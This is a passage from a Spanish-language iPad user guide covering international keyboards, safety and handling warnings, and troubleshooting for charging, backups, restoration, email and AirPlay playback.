sincronizan con el iPad de forma remota. También podrá buscar contactos en el servidor CardDAV de su empresa. Configurar una cuenta de LDAP o CardDAV: Vaya a Ajustes > “Correo, contactos, calendarios” y pulse “Añadir cuenta”. Pulse Otra. Pregunte a su proveedor de servicios o a su administrador qué configuración debe utilizar.B 130 Uso de teclados internacionales La función “Teclados internacionales” le permite escribir texto en muchos idiomas distintos, incluidos los idiomas asiáticos y los que se escriben de derecha a izquierda. Para consultar una lista de los teclados compatibles, vaya a www.apple.com/es/ipad/specs. Gestionar los teclados: Vaya a Ajustes > General > Internacional > Teclados. • Añadir un teclado: Pulse “Añadir nuevo teclado” y seleccione un teclado de la lista. Repita la operación para añadir más teclados. • Eliminar un teclado: Pulse Editar, pulse junto al teclado que desee eliminar y, a continuación, pulse Eliminar. • Editar su lista de teclados: Pulse Editar y, a continuación, arrastre junto a un teclado hasta una nueva posición en la lista. Para introducir texto en otro idioma, cambie de teclado. Cambiar de teclado mientras escribe: Mantenga pulsada la tecla de globo terráqueo para mostrar sus teclados activados. Para seleccionar un teclado, desplace el dedo hasta el nombre del teclado y, a continuación, suelte el dedo. La tecla de globo terráqueo se muestra solo si activa más de un teclado. También puede pulsar . Cuando pulse , aparecerá brevemente el nombre del teclado recién activado. Mantenga la pulsación para acceder a otros teclados activados. Muchos teclados incluyen letras, números y símbolos que no son visibles en el teclado. Introducir letras acentuadas u otros caracteres: Mantenga pulsada la letra, el número o el símbolo relacionado y, a continuación, deslice el dedo para seleccionar una variante. Por ejemplo: • En un teclado tailandés: Seleccione los números nativos manteniendo pulsado el número arábigo relacionado. • En los teclados chino, japonés o árabe: Los candidatos o caracteres sugeridos aparecerán en la parte superior del teclado. Pulse un candidato para introducirlo o desplácese a la izquierda para ver más candidatos. Utilizar la lista de candidatos ampliada: Pulse la flecha arriba situada a la derecha para ver la lista completa de candidatos. • Moverse por la lista: Desplácese hacia arriba o hacia abajo. • Volver a la lista rápida: Pulse la flecha hacia abajo. Cuando se usan determinados teclados chinos o japoneses, es posible crear una función rápida para parejas de palabras y entradas. La función rápida se añade a su diccionario personal. Al escribir una función rápida utilizando un teclado compatible, la palabra enlazada o entrada asociada sustituirá dicha función rápida. Teclados internacionales ApéndiceApéndice B Teclados internacionales 131 Activar o desactivar las funciones rápidas: Vaya a Ajustes > General > Teclado > Funciones rápidas. Existen funciones rápidas disponibles para: • Chino simplificado: pinyin • Chino tradicional: pinyin y zhuyin • Japonés: romaji y 50 teclas Métodos de entrada especiales Puede utilizar los teclados para escribir en algunos idiomas de diferentes maneras. Algunos ejemplos son el chino cangjie, el wubihua, el kana japonés y los emoticonos. También puede usar el dedo o un lápiz táctil para escribir caracteres chinos en la pantalla. Construir caracteres chinos a partir de las teclas cangjie de componentes: A medida que escriba, aparecerán sugerencias de caracteres. Pulse un carácter para seleccionarlo o continúe escribiendo hasta cinco componentes para ver más opciones. Construir caracteres chinos wubihua (trazos): Utilice el teclado para construir caracteres chinos a partir de un máximo de cinco trazos en la secuencia correcta de escritura: horizontal, vertical, cola, escoba y gancho. Por ejemplo, el carácter chino 圈 (círculo) debe comenzar con el trazo vertical 丨. • A medida que escribe, aparecen sugerencias de caracteres chinos (con los caracteres más utilizados en primer lugar). Pulse un carácter para seleccionarlo. • Si no está seguro del trazo correcto, escriba un asterisco (*). Para ver más opciones de caracteres, realice otro trazo o desplácese por la lista de caracteres. • Pulse la tecla de coincidencia (匹配) para mostrar solamente los caracteres que coincidan exactamente con lo que ha escrito. Escribir caracteres chinos: Escriba los caracteres chinos directamente en la pantalla con el dedo si se encuentran activados los formatos de escritura en chino tradicional o simplificado. A medida que realice trazos, el iPad los reconocerá y mostrará una lista de caracteres concordantes ordenados de mayor a menor concordancia. Cuando selecciona un carácter, los caracteres que le siguen con más probabilidad aparecerán en la lista como opciones adicionales. Pantalla táctil Pantalla táctil Algunos caracteres complejos, tales como 鱲 (parte del nombre del Aeropuerto Internacional de Hong Kong), 𨋢 (ascensor) y 㗎 (partícula utilizada en cantonés) pueden introducirse escribiendo dos o más caracteres componentes consecutivos. Pulse el carácter para sustituir los caracteres escritos. También se reconocen los caracteres romanos.Apéndice B Teclados internacionales 132 Escribir en japonés kana: Utilice el teclado kana para seleccionar sílabas. Para ver más opciones de sílabas, pulse la tecla de flecha y seleccione otra sílaba o palabra de la ventana. Escribir en japonés romaji: Use el teclado romaji para escribir sílabas: En la parte superior del teclado aparecen opciones alternativas; pulse una para escribirla. Para ver más opciones de sílabas, pulse la tecla de flecha y seleccione otra sílaba o palabra de la ventana. Introducir emoticonos japoneses: Utilice el teclado japonés kana y pulse la tecla ^_^. O bien puede: • utilizar el teclado japonés romaji (disposición QWERTY-japonés): pulse la tecla numérica y, a continuación, pulse la tecla ^_^. • Utilizar el teclado chino pinyin (simplificado o tradicional) o zhuyin (tradicional): Pulse la tecla Símbolo y, después, pulse la tecla ^_^.C 133 Información importante sobre seguridad ADVERTENCIA: No respetar estas instrucciones de seguridad podría provocar incendios, descargas eléctricas u otras lesiones, o bien dañar el iPad u otra propiedad. Lea toda la información de seguridad que se incluye a continuación antes de utilizar el iPad. Manejo Manipule el iPad con cuidado. Está fabricado en metal, vidrio y plástico e incorpora componentes electrónicos sensibles en su interior. Si se cae, se quema, se pincha, se aplasta o entra en contacto con líquidos, podría sufrir daños. No utilice un iPad que esté dañado (por ejemplo, si la pantalla está rajada), puesto que podría ocasionar lesiones. Si le preocupa que la superficie exterior se raye, considere el uso de una funda protectora. Reparación No abra el iPad ni trate de repararlo usted mismo. Desmontar el iPad podría provocarle lesiones o bien causar daños en el iPad. Si el iPad está dañado, funciona mal o entra en contacto con algún líquido, póngase en contacto con Apple o con un proveedor de servicios Apple autorizado. Puede encontrar más información sobre el modo de encargar reparaciones en www.apple.com/support/ipad/service/faq. Batería No trate de sustituir la batería del iPad, ya que podría dañarla y provocar un sobrecalentamiento y alguna lesión. La batería de iones de litio del iPad solo debe cambiarla Apple o un proveedor de servicios Apple autorizado, y debe reciclarse o eliminarse separadamente de la basura normal. No incinere la batería. Para obtener información sobre el reciclaje y sustitución de baterías, vaya a to www.apple.com/es/batteries, www.apple.com/mx/batteries o www.apple.com/la/batteries. Distracción Utilizar el iPad en ciertas circunstancias puede distraerle y generar situaciones peligrosas. Respete las normas que prohíben o restringen el uso de dispositivos móviles o auriculares (por ejemplo, no envíe mensajes de texto mientras conduce un coche, o no utilice auriculares mientras monta en bicicleta). Navegación Los mapas, las indicaciones, las vistas Flyover y las apps basadas en información de localización geográfica dependen de servicios de datos. Estos servicios de datos están sujetos a cambios y pueden no estar disponibles en todas las zonas, lo que puede dar como resultado mapas, indicaciones, vistas Flyover o datos de localización no disponibles, imprecisos o incompletos. Compare la información proporcionada por el iPad con sus alrededores, y emplee las señales a la vista para resolver cualquier discrepancia. Para poder utilizar algunas funciones de Mapas, es necesario tener activada la función de Localización. Consulte Privacidad en la página 127. Utilice el sentido común al navegar. Seguridad, manejo y soporte ApéndiceApéndice C Seguridad, manejo y soporte 134 Recarga Recargue el iPad con el cable USB y el adaptador de corriente incluidos o con cables o adaptadores de corriente de otros fabricantes que hayan recibido la certificación para utilizar el logotipo “Made for iPad” y que sean compatibles con USB 2.0. El uso de cables o cargadores dañados, o la recarga en ambientes húmedos, puede provocar descargas eléctricas. Cuando utilice el adaptador de corriente USB de Apple para cargar el iPad, asegúrese de que el conector o el cable de alimentación estén totalmente conectados al adaptador antes de enchufarlo en una toma de alimentación. Es normal que el adaptador de corriente USB de Apple se caliente durante la carga. El contacto prolongado puede provocar lesiones. Deje siempre un espacio de ventilación suficiente alrededor del adaptador de corriente. Pérdida de audición Escuchar sonidos a gran volumen puede ocasionar daños en el oído. El ruido de fondo, al igual que la exposición continuada a niveles de volumen elevados, puede hacer que los sonidos parezcan más bajos de lo que realmente son. Active el audio y compruebe el volumen antes de colocarse nada en el oído. Para obtener más información sobre la pérdida auditiva, consulte www.apple.com/es/sound. Para obtener más información sobre cómo establecer un límite máximo de volumen en el iPad, consulte Ajustes de Música en la página 88. ADVERTENCIA: Para evitar posibles pérdidas auditivas, no escuche a volúmenes elevados durante periodos prolongados. Auriculares Apple Los auriculares vendidos con el iPhone 4S o posterior en China (identificables por los anillos aislantes oscuros en el conector) están diseñados para cumplir con los estándares chinos y son compatibles con el iPhone 4S o posterior, el iPad 2 o posterior y el iPod touch de quinta generación. Utilice solo auriculares compatibles con su dispositivo. Señales de radio El iPad utiliza señales de radio para conectarse a redes inalámbricas. Para obtener información sobre la potencia empleada para transmitir estas señales y sobre los pasos que puede dar para minimizar la exposición, consulte Ajustes > General > Acerca de > Legal > Exposición RF. Interferencias de radiofrecuencia Obedezca las señales e indicaciones que prohíban o restrinjan el uso de dispositivos móviles (por ejemplo, en instalaciones sanitarias o zonas con riesgo de explosión). Aunque el iPad ha sido diseñado, probado y fabricado para cumplir la normativa vigente sobre emisiones de radiofrecuencias, dichas emisiones del iPad pueden afectar al funcionamiento de otros equipos electrónicos y hacer que no funcionen correctamente. Apague el iPad o utilice el modo Avión para desactivar los transmisores inalámbricos del iPad cuando su uso esté prohibido, por ejemplo, mientras viaje en avión o si las autoridades le solicitan que lo haga. Dispositivos médicos El iPad contiene radios que emiten campos electromagnéticos. Estos campos electromagnéticos pueden interferir con marcapasos y otros dispositivos médicos. Si lleva un marcapasos, deje unos 15 cm como mínimo de separación entre el marcapasos y el iPad. Si sospecha que el iPad está provocando interferencias con su marcapasos o con cualquier otro dispositivo médico, deje de usar el iPad y consulte a su médico para obtener información específica sobre su dispositivo médico. El iPad tiene imanes en el borde izquierdo del dispositivo y en el lado derecho del cristal frontal, que pueden interferir con marcapasos, desfibriladores u otros dispositivos médicos. La Smart Cover para el iPad y la Smart Case para el iPad también contienen imanes. Mantenga una distancia mínima de 15 cm entre su marcapasos o desfibrilador y el iPad, la Smart Cover para el iPad o la Smart Case para el iPad. Afecciones médicas Si tiene cualquier otra afección médica que cree que podría verse afectada por el uso del iPad (por ejemplo, convulsiones, desmayos, fatiga ocular o dolores de cabeza), consulte a su médico antes de utilizar el iPad. Apéndice C Seguridad, manejo y soporte 135 Atmósferas explosivas No cargue ni utilice el iPad en ninguna atmósfera potencialmente explosiva, como en zonas de repostaje de combustibles o en áreas en las que el aire contenga sustancias químicas o partículas (grano, polvo o metales pulverizados). Obedezca todas las señales e instrucciones. Movimiento repetitivo Si realiza actividades repetitivas como escribir o jugar con el iPad, podría experimentar molestias ocasionales en las manos, los brazos, las muñecas, los hombros, el cuello u otras partes del cuerpo. Si experimenta alguna molestia, deje de utilizar el iPad y consulte a un médico. Actividades de alto riesgo Este dispositivo no está destinado para usos en los que el fallo del dispositivo pueda provocar fallecimientos, lesiones personales o daños graves en el medio ambiente Riesgo de asfixia Algunos accesorios del iPad pueden plantear un riesgo de asfixia para los niños pequeños. Mantenga estos accesorios alejados de los niños pequeños. Información importante sobre manejo Limpieza Limpie el iPad de inmediato si entra en contacto con cualquier elemento que pueda mancharlo (polvo, tinta, maquillaje, lociones, etc.). Para limpiar: • Desconecte todos los cables y apague el iPad (mantenga pulsado el botón de reposo/activación y, a continuación, arrastre el regulador que aparece en pantalla). • Utilice un paño suave y que no desprenda pelusa. • Evite que entre humedad en las aberturas. • No utilice productos de limpieza ni tampoco aire comprimido. La parte delantera del iPad está hecha de vidrio con un revestimiento oleofóbico (que repele el aceite) resistente a huellas. Este revestimiento se desgasta con el uso normal. Los productos de limpieza y los materiales abrasivos mermarán aún más el revestimiento y podrían llegar a rayar el cristal. Los medios abrasivos también podrían rayar el iPad. Uso de conectores, puertos y botones No fuerce nunca la introducción de un conector en un puerto ni aplique una presión excesiva al pulsar un botón, ya que esto podría provocar daños no cubiertos por la garantía. Si el conector y el puerto no encajan con una facilidad razonable, es probable que no puedan conectarse. Compruebe que no haya ninguna obstrucción y asegúrese de que el conector se corresponda con el puerto y de haberlo colocado en la posición correcta con respecto al puerto. Lightning Es normal que el conector Lightning se decolore tras su uso habitual. La suciedad y la exposición a líquidos puede provocar su decoloración. Para eliminar esta decoloración o si el cable se calentase durante su uso o no cargase ni permitiese sincronizar el iPad, desconecte el cable Lightning del ordenador o el adaptador de corriente y límpielo con un trapo suave, seco y que no suelte pelusas. No utilice líquidos o productos de limpieza al limpiar el conector Lightning.Apéndice C Seguridad, manejo y soporte 136 Temperatura de funcionamiento El iPad ha sido diseñado para funcionar a temperaturas de entre 0 y 35 °C y puede guardarse a temperaturas de entre -20 y 45 °C. El iPad puede sufrir daños y la vida útil de la batería puede reducirse si se guarda o se utiliza fuera de estos intervalos de temperaturas. Procure no exponer el iPad a cambios drásticos de temperatura o humedad. Cuando esté usando el iPad o cargando la batería, es normal que el iPad se caliente. Si la temperatura interior del iPad excede el intervalo normal de funcionamiento (por ejemplo, si permanece dentro de un coche a altas temperaturas o expuesto a la luz directa del sol durante largos periodos de tiempo), puede notar los siguientes síntomas mientras el dispositivo trata de regular la temperatura: • El iPad deja de recargarse. • La pantalla se oscurece. • Aparece en pantalla una advertencia sobre la temperatura. • Algunas apps podrían cerrarse. Importante: Es posible que no pueda utilizar el iPad mientras se muestre la pantalla de advertencia sobre la temperatura. Si el iPad no puede regular su temperatura interna, entra en un modo de reposo profundo hasta que se enfría. Lleve el iPad a una ubicación más fría, lejos de la luz directa del sol, y espere unos minutos antes de intentar utilizar de nuevo el iPad. Para obtener más información, vaya a support.apple.com/kb/HT2101?viewlocale=es_ES. Soporte del iPad Dispone de un completo portal con información de soporte en Internet, en la dirección www.apple.com/es/support/ipad. Para ponerse en contacto con Apple a fin de obtener soporte personalizado (no disponible en todas las zonas), consulte www.apple.com/es/support/contact. Aparece una imagen de batería baja o el mensaje “No se está cargando” El nivel de carga de la batería del iPad es bajo y necesita recargarlo durante veinte minutos aproximadamente para poder utilizarlo. Para obtener información sobre la recarga del iPad, consulte Batería en la página 38. o bien o bien • Cuando vaya a cargar la batería del iPad, asegúrese de que utiliza el adaptador de corriente USB que venía con el iPad o un puerto USB de un modelo de Mac reciente. La forma más rápida de cargar la batería es utilizando el adaptador de corriente. Consulte Batería en la página 38. • Apague el iPad para que se recargue más rápidamente. • Es posible que el iPad no se recargue si se conecta al puerto USB de un modelo de Mac antiguo, un PC, un teclado o un hub USB. Si su Mac o PC no proporciona suficiente alimentación para recargar el iPad, en la barra de estado se mostrará el mensaje “No se está cargando”. Para recargar el iPad, desconéctelo del ordenador y conéctelo a una toma de corriente mediante el cable USB y el adaptador de corriente USB incluidos.Apéndice C Seguridad, manejo y soporte 137 El iPad no responde • Puede que el iPad tenga un nivel bajo de batería. Conecte el iPad al adaptador de corriente USB para recargarlo. Consulte Batería en la página 38. • Mantenga pulsado el botón de reposo/activación durante unos segundos hasta que aparezca un regulador rojo y, a continuación, mantenga pulsado el botón de inicio para forzar el cierre de la app que estaba utilizando. • Si esto no funciona, apague el iPad y, a continuación, vuelva a encenderlo. Mantenga pulsado el botón de reposo/activación hasta que aparezca un regulador rojo y entonces arrástrelo. A continuación, mantenga pulsado el botón de reposo/activación hasta que aparezca el logotipo de Apple. • Si esta solución no funciona, reinicie el iPad. Mantenga pulsado el botón de reposo/activación y el botón de inicio durante al menos diez segundos, hasta que aparezca el logotipo de Apple. • Si la pantalla no gira cuando gira el iPad, mantenga el iPad en posición vertical y asegúrese de que no se haya bloqueado la rotación de la pantalla. Reinicio y restauración del iPad Si hay algo que no funciona correctamente, pruebe a reiniciar el iPad, forzar la salida de una app o restablecer el iPad. Reiniciar el iPad: Mantenga pulsado el botón de reposo/activación hasta que aparezca el regulador rojo. Arrastre el regulador para apagar el iPad. Para volver a encender el iPad, mantenga pulsado el botón de reposo/activación hasta que aparezca el logotipo de Apple. Forzar el cierre de una app: Mantenga pulsado el botón de reposo/activación de la parte superior del iPad durante unos segundos hasta que aparezca un regulador rojo y, a continuación, mantenga pulsado el botón de inicio hasta que la app se cierre. Si no puede apagar el iPad o si el problema persiste, puede ser necesario restablecer el iPad. Solo deberá reinicializarlo si al apagar y encender el iPad no se resuelve el problema. Restablecer el iPad: Mantenga pulsado al mismo tiempo el botón de reposo/activación y el botón de inicio durante al menos diez segundos, hasta que aparezca el logotipo de Apple. Aparece “Código incorrecto” o “El iPad está deshabilitado” Si olvida el código o el iPad muestra una alerta que indica que está desactivado, consulte “iOS: Dispositivo deshabilitado después de introducir un código erróneo” en support.apple.com/kb/HT1212?viewlocale=es_ES. Aparece “Este accesorio no es compatible con el iPad” El accesorio conectado puede no funcionar con el iPad. Asegúrese de que el cable USB y los conectores estén libres de suciedad y consulte la documentación incluida con el accesorio. Una app no ocupa toda la pantalla La mayoría de las apps para iPhone y iPod touch pueden utilizarse con el iPad, pero es posible no puedan sacar partido del mayor tamaño de su pantalla. En este caso, pulse para aumentar el zoom de visualización de la app. Pulse para volver al tamaño original. Compruebe si hay una versión de la app en la tienda App Store que esté optimizada para usarse con el iPad o si hay una versión universal optimizada para iPhone, iPod touch y iPad.Apéndice C Seguridad, manejo y soporte 138 No aparece el teclado en pantalla Si el iPad está enlazado con un teclado Bluetooth, el teclado en pantalla no aparecerá. Para ver el teclado en pantalla, pulse la tecla de expulsión de un teclado Bluetooth. El teclado en pantalla también aparece al alejar el teclado Bluetooth del radio de alcance del dispositivo o al apagarlo. Realización de copias de seguridad del iPad Puede utilizar iCloud o iTunes para realizar copias de seguridad automáticas del iPad. Si selecciona que se realicen copias de seguridad automáticas con iCloud, no podrá utilizar también iTunes para realizar copias de seguridad automáticas de su ordenador, aunque puede utilizar iTunes para realizar copias de seguridad manuales de su ordenador. Cómo realizar copias de seguridad con iCloud iCloud realiza copias de seguridad automáticas del iPad a diario, a través de la conexión Wi-Fi, cuando se conecta a una fuente de alimentación y está bloqueado. La fecha y hora de la última copia de seguridad se muestra en la parte inferior de la pantalla “Almacenamiento y copias”. iCloud realiza copias de seguridad de: • La música, los programas de televisión, las apps y los libros que compra. • Las fotos y los vídeos del Carrete. • Los ajustes del iPad. • Los datos de las apps. • La organización de la pantalla de inicio y de las apps. • Mensajes Nota: Es posible que no se realicen copias de seguridad de la música comprada en todas las áreas, y que los programas de televisión no estén disponibles en todas las áreas. Si no activó las copias de seguridad de iCloud la primera vez que configuró el iPad, puede activarlas en los ajustes de iCloud. Al activar las copias de seguridad de iCloud, el iPad deja de realizar copias de seguridad automáticas de su ordenador cuando se sincroniza con iTunes. Activar las copias de seguridad de iCloud: Vaya a Ajustes > iCloud y, a continuación, inicie sesión con su ID de Apple y su contraseña, si es preciso. Vaya a “Almacenamiento y copias” y, a continuación, active “Copia de seguridad de iCloud”. Realizar una copia de seguridad de forma inmediata: Vaya a Ajustes > iCloud > “Almacenamiento y copias” y, a continuación, pulse “Realizar copia de seguridad ahora”. Gestionar sus copias de seguridad: Vaya a Ajustes > iCloud > “Almacenamiento y copias” y, a continuación, pulse “Gestionar almacenamiento”. Pulse el nombre de su iPad. Activar o desactivar copia de seguridad del Carrete: Vaya a Ajustes > iCloud > “Almacenamiento y copias” y, a continuación, pulse “Gestionar almacenamiento”. Pulse el nombre de su iPad y, a continuación, active o desactive la copia de seguridad del Carrete. Ver los dispositivos de los que se están realizando copias de seguridad: Vaya a Ajustes > iCloud > Almacenamiento y copias > “Gestionar almacenamiento”. Detener las copias de seguridad de iCloud: Vaya a Ajustes > iCloud > Almacenamiento y copias > “Copia de seguridad” y, a continuación, desactive “Copia de seguridad de iCloud”. No se realizarán copias de seguridad en iCloud de la música que no se haya adquirido en iTunes. Deberá utilizar iTunes para realizar copias de seguridad de dicho contenido y restaurarlo. Consulte Sincronización con iTunes en la página 18.Apéndice C Seguridad, manejo y soporte 139 Importante: Es posible que las copias de seguridad de compras de música o programas de televisión no estén disponibles en todas las áreas. Puede que sus compras anteriores no estén disponibles si ya no está en las tiendas iTunes Store, App Store o iBookstore. Los contenidos que compre, así como los contenidos de Fotos en Streaming, no se descontarán del sus 5 GB de almacenamiento gratuito en iCloud. Cómo realizar copias de seguridad con iTunes iTunes crea una copia de seguridad de las fotos del álbum Carrete o del álbum “Fotos guardadas”, así como de los mensajes de texto, notas, lista de favoritos, ajustes de sonido, etc. No se realizan copias de seguridad de los archivos multimedia, como canciones y algunas fotos, pero pueden restaurarse mediante una sincronización con iTunes. Cuando conecte el iPad al ordenador con el que normalmente realice la sincronización, iTunes creará una copia de seguridad cada vez que: • Realice una sincronización con iTunes: iTunes sincroniza el iPad cada vez que conecta el iPad a su ordenador. iTunes no realizará ninguna copia de seguridad automática de un iPad que no esté configurado para sincronizarse con dicho ordenador. Consulte Sincronización con iTunes en la página 18. • Actualice o restaure el iPad: iTunes realiza una copia de seguridad del iPad automáticamente antes de la actualización y de la restauración. iTunes también puede encriptar las copias de seguridad del iPad para proteger sus datos. Encripte las copias de seguridad del iPad: Seleccione “Encriptar copia de seguridad del iPad” en el panel Resumen de iTunes. Restaure los archivos y los ajustes del iPad: Conecte el iPad al ordenador con el que normalmente realice la sincronización, seleccione el iPad en la ventana de iTunes y haga clic en Restaurar en el panel Resumen. Para obtener más información sobre copias de seguridad, vaya a support.apple.com/kb/HT1766?viewlocale=es_ES. Cómo eliminar una copia de seguridad de iTunes Puede eliminar una copia de seguridad del iPad desde la lista de copias con iTunes. Puede interesarle, por ejemplo, si se ha creado una copia de seguridad en un ordenador ajeno. Eliminar una copia de seguridad: 1 En iTunes, abra las preferencias de iTunes. • Mac: Seleccione iTunes > Preferencias. • Windows: Seleccione Edición > Preferencias. 2 Haga clic en Dispositivos (el iPad no tiene por qué estar conectado). 3 Seleccione la copia de seguridad que desea eliminar y, a continuación, haga clic en “Eliminar copia de seguridad”. 4 Haga clic en Eliminar para confirmar que desea eliminar la copia seleccionada y, a continuación, haga clic en Aceptar.Apéndice C Seguridad, manejo y soporte 140 Actualización y restauración del software del iPad Puede actualizar el software del iPad en Ajustes o utilizando iTunes. También puede borrar el iPad y, a continuación, utilizar iCloud o iTunes para realizar una restauración a partir de una copia de seguridad. Ya no podrá acceder a los datos eliminados a través la interfaz de usuario del iPad, pero no se borrarán del iPad. Para obtener información sobre la eliminación de todos los contenidos y ajustes, consulte Restablecer en la página 125. Actualización del iPad Puede actualizar el software del iPad en Ajustes o utilizando iTunes. Realizar una actualización inalámbrica en el iPad: Vaya a Ajustes > General > Actualización de Software. El iPad comprobará si hay actualizaciones de software disponibles. Realizar una actualización de software en iTunes: iTunes comprueba si hay actualizaciones de software disponibles cada vez que sincroniza el iPad con iTunes. Consulte Sincronización con iTunes en la página 18. Para obtener más información sobre la actualización del software del iPad, vaya a support.apple.com/kb/HT4623?viewlocale=es_ES. Restauración del iPad Puede utilizar iCloud o iTunes para restaurar el iPad a partir de una copia de seguridad. Realizar una restauración a partir de una copia de seguridad de iCloud: Restablezca el iPad para borrar todos los ajustes y todos los datos. Inicie sesión en iCloud y seleccione “Restaurar a partir de una copia de seguridad” en el Asistente de Configuración. Consulte Restablecer en la página 125. Realizar una restauración a partir de una copia de seguridad de iTunes: Conecte el iPad al ordenador con el que normalmente realice la sincronización, seleccione el iPad en la ventana de iTunes y haga clic en Restaurar en el panel Resumen. Cuando se haya restaurado el software del iPad, podrá configurarlo como un nuevo iPad o bien restaurar su música, vídeos, datos de las apps y otros contenidos a partir de una copia de seguridad. Para obtener más información sobre la restauración del software del iPad, vaya a support.apple.com/kb/HT1414?viewlocale=es_ES. Envío, recepción o visualización de correos electrónicos Si el iPad no puede enviar ni recibir mensajes de correo electrónico o no permite visualizar adjuntos, pruebe los siguientes pasos. No se pueden enviar mensajes de correo electrónico • Apague el iPad y vuelva a encenderlo. Mantenga pulsado el botón de reposo/activación durante unos segundos hasta que aparezca un regulador rojo y entonces arrástrelo. A continuación, mantenga pulsado el botón de reposo/activación hasta que aparezca el logotipo de Apple. • En Ajustes, vaya a “Correo, contactos, calendarios” y, a continuación, seleccione la cuenta que esté intentando usar. Pulse “Datos de la cuenta” y, a continuación, pulse SMTP en “Servidor correo saliente”. Puede configurar otros servidores SMTP o seleccionar un servidor de otra cuenta de correo del iPad. Póngase en contacto con su proveedor de acceso a Internet para obtener los datos de configuración.Apéndice C Seguridad, manejo y soporte 141 • Configure su cuenta de correo directamente en el iPad en lugar de sincronizarla desde iTunes. Vaya a Ajustes > “Correo, contactos, calendarios”, pulse “Añadir cuenta” e introduzca los datos de su cuenta. support.apple.com/kb/HT4810?viewlocale=es_ESSi el iPad no logra localizar los ajustes de su proveedor de servicio al introducir su dirección de correo electrónico, vaya a support.apple.com/kb/HT4810?viewlocale=es_ES a fin de obtener ayuda para configurar su cuenta. Para obtener más información sobre solución de problemas, vaya a www.apple.com/es/support/ipad. No se pueden recibir mensajes de correo electrónico • Apague el iPad y vuelva a encenderlo. Mantenga pulsado el botón de reposo/activación durante unos segundos hasta que aparezca un regulador rojo y entonces arrástrelo. A continuación, mantenga pulsado el botón de reposo/activación hasta que aparezca el logotipo de Apple. • Si está utilizando uno o varios ordenadores para acceder a la misma cuenta de correo electrónico, es posible que se haya producido un bloqueo. Para obtener más información, vaya a support.apple.com/kb/TS2621?viewlocale=es_ES. • Configure su cuenta de correo electrónico directamente en el iPad en lugar de sincronizarla desde iTunes. Vaya a Ajustes > “Correo, contactos, calendarios”, pulse “Añadir cuenta” e introduzca los datos de su cuenta. support.apple.com/kb/HT4810?viewlocale=es_ESSi el iPad no logra localizar los ajustes de su proveedor de servicio al introducir su dirección de correo electrónico, vaya a support.apple.com/kb/HT4810?viewlocale=es_ES a fin de obtener ayuda para configurar su cuenta. • Si tiene un iPad Wi-Fi + cellular, desactive la red Wi-Fi para que el iPad se conecte a Internet a través de la red de datos de telefonía móvil. Vaya a Ajustes > Wi-Fi y, a continuación, desactive Wi-Fi. Para obtener más información sobre solución de problemas, vaya a www.apple.com/es/support/ipad. No se pueden ver adjuntos de correo electrónico • Ver un archivo adjunto: Pulse el archivo adjunto para abrirlo en Vista Rápida. Puede tener que esperar a que se descargue antes de verlo. • Guardar una foto o un vídeo adjunto: Pulse el archivo adjunto para abrirlo en Vista Rápida. Puede tener que esperar a que se descargue antes de verlo. Vista Rápida es compatible con los siguientes tipos de documento: • .doc, .docx: Microsoft Word • .htm, .html: página web • .key: Keynote • .numbers: Numbers • .pages: Pages • .pdf: Vista Previa, Adobe Acrobat • .ppt, .pptx: Microsoft PowerPoint • .rtf: formato de texto enriquecido • .txt: texto • .vcf: información de contacto • .xls, .xlsx: Microsoft Excel Para obtener más información sobre solución de problemas, vaya a www.apple.com/es/support/ipad.Apéndice C Seguridad, manejo y soporte 142 Sonido, música y vídeo Si el iPad no reproduce sonido o vídeo, pruebe los siguientes pasos. No hay sonido • Asegúrese de que no haya nada que cubra el altavoz del iPad. • Asegúrese de que el interruptor lateral no esté en la posición de silencio. Consulte Botón de volumen e interruptor lateral en la página 10. • Si está utilizando un auricular manos libres, desconéctelo y vuelva a conectarlo. Asegúrese de que el conector esté correctamente enchufado. • Asegúrese de que el volumen no esté bajado del todo. • La música en el iPad podría estar en pausa. Si está utilizando un manos libres con botón de reproducción, pulse este botón para reanudar la reproducción o, desde la pantalla de inicio, pulse Música y luego pulse . • Compruebe si ha establecido un límite de volumen. En Ajustes, vaya a Música > “Límite de volumen”. • Si está utilizando el puerto de salida de línea de la base iPad Dock (opcional), asegúrese de que los altavoces externos o el equipo estéreo estén encendidos, que estén conectados correctamente y que funcionen bien. Deberá utilizar los controles de volumen de los altavoces externos o del equipo estéreo, no los del iPad. • Si está utilizando una app compatible con AirPlay, compruebe que el dispositivo AirPlay al que está enviando el sonido esté activado y que el volumen esté subido. Si desea oír el sonido a través del altavoz del iPad, pulse y selecciónelo en la lista. No se reproduce una canción, un vídeo u otro contenido Es posible que la canción, el vídeo, el audiolibro o el podcast esté codificado en un formato no compatible con el iPad. Para obtener información sobre los formatos de archivo de audio y vídeo compatibles con el iPad, vaya a www.apple.com/es/ipad/specs, www.apple.com/mx/ipad/specs o www.apple.com/la/ipad/specs. Si la biblioteca de iTunes contiene alguna canción o vídeo no compatible con el iPad, es posible que pueda convertirlos a un formato que sí sea compatible con el iPad. Por ejemplo, puede utilizar iTunes para Windows para convertir archivos WMA no protegidos a un formato compatible con el iPad. Para obtener más información, abra iTunes y seleccione Ayuda > Ayuda iTunes. No se reproduce ningún vídeo o sonido al utilizar AirPlay Para enviar audio o vídeo a un dispositivo AirPlay, como un Apple TV, el iPad y el dispositivo AirPlay deben estar conectados a la misma red inalámbrica. Si no ve el botón , significa que el iPad no está conectado a la misma red Wi-Fi que el dispositivo AirPlay o que la app en cuestión no es compatible con AirPlay. • Cuando se envía sonido o vídeo a un dispositivo AirPlay, el iPad no muestra el vídeo o no reproduce el audio. Para dirigir el contenido al iPad y desconectarlo del dispositivo AirPlay, pulse y seleccione iPad en la lista. • Algunas apps solo reproducen el audio a través de AirPlay. Si el vídeo no funciona, asegúrese de que la aplicación que está utilizando admite tanto audio como vídeo. • Si el Apple TV se ha configurado para solicitar un código, deberá introducirlo en el iPad cuando se le pida para poder usar AirPlay.Apéndice C Seguridad, manejo y soporte 143 • Asegúrese de que los altavoces del dispositivo AirPlay estén encendidos y de que el volumen de los mismos esté subido. Si está utilizando un Apple TV, asegúrese de que la fuente de entrada del televisor está ajustada en el Apple TV. Asegúrese de que el control de volumen del iPad esté subido. • El iPad debe permanecer conectado a la red Wi-Fi durante la reproducción en tiempo real con AirPlay. Si coloca el iPad fuera del radio de alcance, se detendrá la reproducción. • En función de la velocidad de la red, la reproducción puede tardar 30 segundos o más en iniciarse cuando se utiliza AirPlay. Para obtener más información sobre AirPlay, vaya a support.apple.com/kb/HT4437?viewlocale=es_ES. No se reproduce ninguna imagen en el televisor o proyector conectado al iPad Al conectar el iPad a un televisor o proyector mediante un cable USB, la pantalla conectada duplica automáticamente la pantalla del iPad. Algunas apps permiten utilizar la 